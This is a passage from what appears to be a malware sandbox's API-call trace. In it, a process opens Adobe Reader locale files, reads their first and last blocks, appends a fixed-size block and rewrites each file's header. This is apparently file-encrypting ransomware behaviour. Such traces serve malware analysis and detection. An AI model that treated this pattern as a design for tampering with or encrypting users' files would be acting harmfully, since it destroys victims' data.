0x0 [0036.549] ReleaseMutex (hMutex=0x128) returned 1 [0036.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e631ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0036.549] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dd2448, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd2448*, lpNumberOfBytesRead=0x2b0f2bc*=0xe4, lpOverlapped=0x0) returned 1 [0036.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.550] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2b0f2d0*=0x66c, lpOverlapped=0x0) returned 1 [0036.550] CloseHandle (hObject=0x1b0) returned 1 [0036.550] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\DigSig.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\digsig.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.552] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.552] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1e800 [0036.552] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.552] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.552] ReleaseMutex (hMutex=0x128) returned 1 [0036.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.NOR", cchWideChar=10, lpMultiByteStr=0x1e6334c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.NOR", lpUsedDefaultChar=0x0) returned 10 [0036.552] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.554] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1d800 [0036.554] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.555] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1d800 [0036.555] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.555] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.555] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.555] CloseHandle (hObject=0x1b0) returned 1 [0036.556] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\ReadOutLoud.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\readoutloud.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.556] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.556] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a00 [0036.556] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.556] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.556] ReleaseMutex (hMutex=0x128) returned 1 [0036.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.556] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.NOR", cchWideChar=15, lpMultiByteStr=0x1e6310c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.NOR", lpUsedDefaultChar=0x0) returned 15 [0036.556] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.558] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0036.558] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.558] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1a00 [0036.558] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.559] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.559] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.559] CloseHandle (hObject=0x1b0) returned 1 [0036.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\accessibility.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\accessibility.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.560] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.560] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xae00 [0036.560] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.560] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.560] ReleaseMutex (hMutex=0x128) returned 1 [0036.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0036.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.NLD", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.NLD", lpUsedDefaultChar=0x0) returned 17 [0036.561] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x9e00 [0036.563] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x9e00 [0036.564] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0036.564] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.564] CloseHandle (hObject=0x1b0) returned 1 [0036.565] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\IA32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ia32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.566] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.566] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe00 [0036.566] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.566] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.566] ReleaseMutex (hMutex=0x128) returned 1 [0036.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.566] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x1e6310c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NLD", lpUsedDefaultChar=0x0) returned 8 [0036.566] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0036.568] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0036.568] WriteFile (in: hFile=0x1b0, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0036.568] CloseHandle (hObject=0x1b0) returned 1 [0036.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\SendMail.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\sendmail.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0036.568] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.568] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4000 [0036.568] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0036.568] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.568] ReleaseMutex (hMutex=0x128) returned 1 [0036.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.568] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.NLD", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.NLD", lpUsedDefaultChar=0x0) returned 12 [0036.568] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.074] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3000 [0037.074] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.185] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3000 [0037.186] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deeea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deeea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.186] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0037.186] WriteFile (in: hFile=0x1b0, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.186] CloseHandle (hObject=0x1b0) returned 1 [0037.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\BRdlang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\brdlang32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0037.504] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0037.504] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x3600 [0037.504] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0037.504] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.504] ReleaseMutex (hMutex=0x128) returned 1 [0037.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0037.504] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.POL", lpUsedDefaultChar=0x0) returned 13 [0037.504] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.506] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2600 [0037.506] ReadFile (in: hFile=0x1b0, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.507] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x2600 [0037.507] WriteFile (in: hFile=0x1b0, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.044] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.044] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de7a78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de7a78*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.045] CloseHandle (hObject=0x1b0) returned 1 [0038.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\PPKLite.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ppklite.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x7e800 [0038.274] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.275] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.275] ReleaseMutex (hMutex=0x128) returned 1 [0038.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLite.POL", cchWideChar=11, lpMultiByteStr=0x1e6342c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLite.POL", lpUsedDefaultChar=0x0) returned 11 [0038.340] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.342] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7d800 [0038.342] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.344] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7d800 [0038.344] WriteFile (in: hFile=0x1ac, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.345] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0038.345] WriteFile (in: hFile=0x1ac, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.345] CloseHandle (hObject=0x1ac) returned 1 [0038.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\updater.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\updater.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.346] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.346] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a00 [0038.346] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0038.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.347] ReleaseMutex (hMutex=0x128) returned 1 [0038.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.POL", cchWideChar=11, lpMultiByteStr=0x1e633ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 